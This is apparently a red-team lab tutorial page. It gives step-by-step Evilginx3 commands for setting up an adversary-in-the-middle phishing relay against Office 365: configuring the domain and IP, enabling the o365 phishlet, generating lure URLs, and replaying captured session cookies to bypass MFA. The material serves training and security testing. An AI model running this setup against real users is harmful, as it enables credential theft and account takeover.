> For the complete documentation index, see [llms.txt](https://cookiez.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cookiez.gitbook.io/red-team/cloud/azure/initial-access/evilginx3.md).

# Evilginx3

We can use Evilginx3 (<https://github.com/kgretzky/evilginx2>) for phishing attacks. Evilginx acts as a relay/man-in-the-middle between the legit web page and the target user. The user always interacts with the legit website and Evilginx captures usernames, passwords and authentication cookies. It uses phishlets that are configuration files for specific target domains. These are YAML files that specify conditions like hosts, filters, structure of authentication cookies and credentials.

Evilginx3 will require some initial setup.

{% stepper %}
{% step %}

### Start evilginx3

```powershell
C:\AzAD\Tools\evilginx-v3.3.0\evilginx.exe -p
evilginx -p C:\AzAD\Tools\evilginx-3.3.0\phishlets -developer
```

{% endstep %}

{% step %}

### Configure the domain

```powershell
config domain studentx.corp
```

{% endstep %}

{% step %}

### Set the IP for the server

```
config ipv4 external 172.16.x.x
```

{% endstep %}

{% step %}

### Use the template for Office 365

```
phishlets hostname o365 studentx.corp
```

{% endstep %}

{% step %}

### Verify DNS

```
phishlets get-hosts o365
```

{% endstep %}

{% step %}

### Enable phishlets

```powershell
phishlets enable o365
```

{% endstep %}

{% step %}

### Create the phishing URL

```
lures create o365
```

{% endstep %}

{% step %}

### Get the phishing URL

```
lures get-url <ID>
```

{% endstep %}

{% step %}

### Send the URL

Once someone clicks on it, you will get clear text credentials and session info to bypass MFA. To interact with the session:

```
sessions
```

and use the session number to interact with it. You would most likely add the cookie and try to log into <https://portal.azure.com>

```
sessions 1
```

{% endstep %}
{% endstepper %}
